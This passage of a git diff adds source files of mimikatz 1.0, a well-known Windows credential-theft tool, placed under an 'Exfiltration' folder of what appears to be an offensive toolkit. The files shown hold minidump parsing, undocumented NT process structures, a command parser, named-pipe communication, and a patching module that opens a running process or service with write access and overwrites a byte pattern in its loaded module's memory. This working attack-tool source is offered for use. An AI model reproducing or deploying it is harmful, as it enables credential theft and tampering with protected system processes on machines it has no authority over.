= MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0)) + resultat = (reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast<WORD>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Version) == MINIDUMP_VERSION); + + return resultat; +} + +MINIDUMP_TYPE mod_minidump::getFlags() +{ + return static_cast<MINIDUMP_TYPE>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Flags); +} + +const wchar_t *FlagsString[] = { + L"MiniDumpNormal", + L"MiniDumpWithDataSegs", + L"MiniDumpWithFullMemory", + L"MiniDumpWithHandleData", + L"MiniDumpFilterMemory", + L"MiniDumpScanMemory", + L"MiniDumpWithUnloadedModules", + L"MiniDumpWithIndirectlyReferencedMemory", + L"MiniDumpFilterModulePaths", + L"MiniDumpWithProcessThreadData", + L"MiniDumpWithPrivateReadWriteMemory", + L"MiniDumpWithoutOptionalData", + L"MiniDumpWithFullMemoryInfo", + L"MiniDumpWithThreadInfo", + L"MiniDumpWithCodeSegs", + L"MiniDumpWithoutAuxiliaryState", + L"MiniDumpWithFullAuxiliaryState", + L"MiniDumpWithPrivateWriteCopyMemory", + L"MiniDumpIgnoreInaccessibleMemory", + L"MiniDumpWithTokenInformation" +}; + +bool mod_minidump::FlagsToStrings(vector<wstring> * monVecteur) +{ + return FlagsToStrings(getFlags(), monVecteur); +} + +bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur) +{ + bool resultat = false; + + if(!Flags) + { + monVecteur->push_back(FlagsString[0]); + resultat = true; + } + else if(Flags & MiniDumpValidTypeFlags) + { + DWORD shift, i; + for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++) + { + if((Flags & shift) == shift) + monVecteur->push_back(FlagsString[i]); + } + resultat = true; + } + + return resultat; +} + +LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; i++) + { + if(mesRepertoires[i].StreamType == type) + return RVAtoPTR(mesRepertoires[i].Location.Rva); + } + return NULL; +} + +PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule) +{ + if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast<PMINIDUMP_MODULE_LIST>(getStream(ModuleListStream))) + { + for(DWORD i = 0; i < monObject->NumberOfModules; i++) + { + PMINIDUMP_MODULE monModule = &monObject->Modules[i]; + PMINIDUMP_STRING monModuleString = reinterpret_cast<PMINIDUMP_STRING>(RVAtoPTR(monObject->Modules[i].ModuleNameRva)); + if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size())) + return monModule; + } + } + return NULL; +} + +bool mod_minidump::getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++])); + return true; +} + +const wchar_t *StreamTypeString[] = { + L"UnusedStream", + L"ReservedStream0", + L"ReservedStream1", + L"ThreadListStream", + L"ModuleListStream", + L"MemoryListStream", + L"ExceptionStream", + L"SystemInfoStream", + L"ThreadExListStream", + L"Memory64ListStream", + L"CommentStreamA", + L"CommentStreamW", + L"HandleDataStream", + L"FunctionTableStream", + L"UnloadedModuleListStream", + L"MiscInfoStream", + L"MemoryInfoListStream", + L"ThreadInfoListStream", + L"HandleOperationListStream", + L"TokenStream" +}; + +wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType) +{ + if(monType <= TokenStream) + return StreamTypeString[monType]; + else + { + wostringstream monStream; + monStream << L"Inconnu (" << monType << L")"; + return monStream.str(); + } +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h new file mode 100644 index 0000000..4247ab0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <dbghelp.h> +#include "mod_text.h" + +class mod_minidump +{ +private: + HANDLE monFichier, monFileMapping; + LPVOID mesDonnees; + +public: + mod_minidump(); + virtual ~mod_minidump(void); + + LPVOID RVAtoPTR(RVA monRVA); + bool open(wchar_t * filename); + LPVOID getStream(MINIDUMP_STREAM_TYPE type); + + PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule); + bool getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur); + MINIDUMP_TYPE getFlags(); + bool FlagsToStrings(vector<wstring> * monVecteur); + + + static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType); + static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h new file mode 100644 index 0000000..7188f2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h @@ -0,0 +1,322 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include <windows.h> +#include <ntsecapi.h> + +typedef LONG KPRIORITY; +typedef void** PPVOID; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemNextEventIdInformation, + SystemEventIdsInformation, + SystemCrashDumpInformation, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemPlugPlayBusInformation, + SystemDockInformation, + KIWI_SystemPowerInformation, + SystemProcessorSpeedInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + KIWI_SystemMmSystemRangeStart = 50 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectAllInformation, + ObjectDataInformation +} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; + + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +typedef enum _POOL_TYPE +{ + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS +} POOL_TYPE, *PPOOL_TYPE; + +typedef struct _PROCESS_SESSION_INFORMATION { + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING Name; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccess; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + USHORT MaintainTypeList; + POOL_TYPE PoolType; + ULONG PagedPoolUsage; + ULONG NonPagedPoolUsage; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModulevector; + LIST_ENTRY InMemoryOrderModulevector; + LIST_ENTRY InInitializationOrderModulevector; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine; + PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PPVOID KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + DWORD Freevector; //PPEB_FREE_BLOCK Freevector; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID *ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributevector; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union { + ULONG Flags; + struct { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _SYSTEM_HANDLE +{ + DWORD ProcessId; + BYTE ObjectTypeNumber; + BYTE Flags; + USHORT Handle; + PVOID Object; + ACCESS_MASK GrantedAccess; +} SYSTEM_HANDLE, *PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + DWORD HandleCount; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength); +typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp new file mode 100644 index 0000000..3388c3e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_parseur.h" + +vector<wstring> mod_parseur::parse(const wstring & line) +{ + vector<wstring> result; + + wstring item; + wstringstream ss(line); + + while(ss >> item) + { + if (item[0] == L'"') + { + if (item[item.length() - 1] == L'"') + { + result.push_back(item.substr(1, item.length() -2)); + } + else + { + wstring restOfItem; + getline(ss, restOfItem, L'"'); + result.push_back(item.substr(1) + restOfItem); + } + } + else + { + result.push_back(item); + } + } + + return result; +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h new file mode 100644 index 0000000..e897aba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h @@ -0,0 +1,15 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sstream> + +class mod_parseur +{ +public: + static vector<wstring> parse(const wstring & line); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp new file mode 100644 index 0000000..95b46c6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp @@ -0,0 +1,146 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_patch.h" +#include "..\mimikatz\global.h" + +bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING) + { + (*outputStream) << L"Service : " << monService.serviceDisplayName << endl; + reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace); + } + else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air trs actif" << endl; + } + else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl; + + return reussite; +} + +bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid)) + { + BYTE * baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl; + + BYTE * addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle)) + { + reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle); + (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl; + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + + CloseHandle(processHandle); + } + else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64) +{ + bool reussite = false; + + OSVERSIONINFOEX maVersion; + if(reussite = mod_system::getVersion(&maVersion)) + { + if(majorVersion) *majorVersion = maVersion.dwMajorVersion; + if(majorVersion) *minorVersion = maVersion.dwMinorVersion; + if(build) *build = maVersion.dwBuildNumber; + if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION; + + if(is64) + { + SYSTEM_INFO mesInfos; + GetNativeSystemInfo(&mesInfos); + + *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64); + } + } + + return reussite; +} + +bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide) +{ + bool reussite = false; + + DWORD majorVersion, minorVersion, build; + bool isServer, is64; + + if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64)) + { + reussite = + (monOsValide->majorVersion == majorVersion) && + (monOsValide->minorVersion == minorVersion) && + ((monOsValide->build == build) || (monOsValide->build == 0)) && + (monOsValide->isServer == isServer) && + (monOsValide->is64 == is64) + ; + } + else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::checkVersion(OS monOsValide) +{ + KIWI_OS_CHECK kOs; + switch(monOsValide) + { + case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + + case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + } + + return checkVersion(&kOs); +} + + +bool mod_patch::checkVersion(vector<OS> * vectorValid) +{ + bool reussite = false; + + for(vector<OS>::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++) + { + reussite = checkVersion(*monOs); + } + + if(!reussite) + (*outputStream) << L"La version du systme d\'exploitation actuelle n\'est pas supporte par cette fonction." << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h new file mode 100644 index 0000000..1ae901d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_service.h" +#include <iostream> + +class mod_patch +{ +public: + typedef struct _KIWI_OS_CHECK + { + DWORD majorVersion; + DWORD minorVersion; + DWORD build; + bool isServer; + bool is64; + } KIWI_OS_CHECK, *PKIWI_OS_CHECK; + + enum OS + { + WINDOWS_2000_PRO_x86, + WINDOWS_2000_SRV_x86, + + WINDOWS_XP_PRO___x86, + WINDOWS_XP_PRO___x64, + WINDOWS_2003_____x86, + WINDOWS_2003_____x64, + + WINDOWS_VISTA____x86, + WINDOWS_VISTA____x64, + WINDOWS_2008_____x86, + WINDOWS_2008_____x64, + + WINDOWS_SEVEN____x86, + WINDOWS_SEVEN____x64, + WINDOWS_2008r2___x64, + + WINDOWS_8________x86, + WINDOWS_8________x64, + WINDOWS_8_SERVER_x64 + }; + + static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL); + static bool checkVersion(KIWI_OS_CHECK * monOsValide); + static bool checkVersion(OS monOsValide); + static bool checkVersion(vector<OS> * vectorValid); + + static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); + static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp new file mode 100644 index 0000000..bd62e9e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp @@ -0,0 +1,121 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_pipe.h" + +mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\") +{ + pipePath.append(serveur); + pipePath.append(L"\\pipe\\"); + pipePath.append(pipeName); +} + +mod_pipe::~mod_pipe(void) +{ + closePipe(); +} + +bool mod_pipe::closePipe() +{ + bool reussite = false; + + if(hPipe != INVALID_HANDLE_VALUE && hPipe) + { + FlushFileBuffers(hPipe); + DisconnectNamedPipe(hPipe); + reussite = CloseHandle(hPipe) == TRUE; + } + return reussite; +} + +bool mod_pipe::readFromPipe(wstring &laReponse) +{ + bool reussite = false; + wchar_t monBuffer[128]; + + bool fSuccess; + DWORD longueurReponse; + laReponse.clear(); + + do + { + fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false; + if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */) + { + laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t)); + } + else + { + break; + } + } while (!fSuccess); + + return reussite; +} + +bool mod_pipe::writeToPipe(const wstring &leMessage) +{ + bool reussite = false; + DWORD longueurMessage; + DWORD longueurOctetsEcris; + + longueurMessage = (static_cast<DWORD>(leMessage.size())) * sizeof(wchar_t); + + if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris) + { + reussite = FlushFileBuffers(hPipe) != 0; + } + return reussite; +} + + +bool mod_pipe::createServer() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL); + + if (hPipe && hPipe != INVALID_HANDLE_VALUE) + { + reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); + } + else + { + closePipe(); + } + } + return reussite; +} + +bool mod_pipe::createClient() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT)) + { + hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (hPipe != INVALID_HANDLE_VALUE) + { + DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; + + if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0)) + { + closePipe(); + } + } + } + } + return reussite; +} + +bool mod_pipe::isConnected() +{ 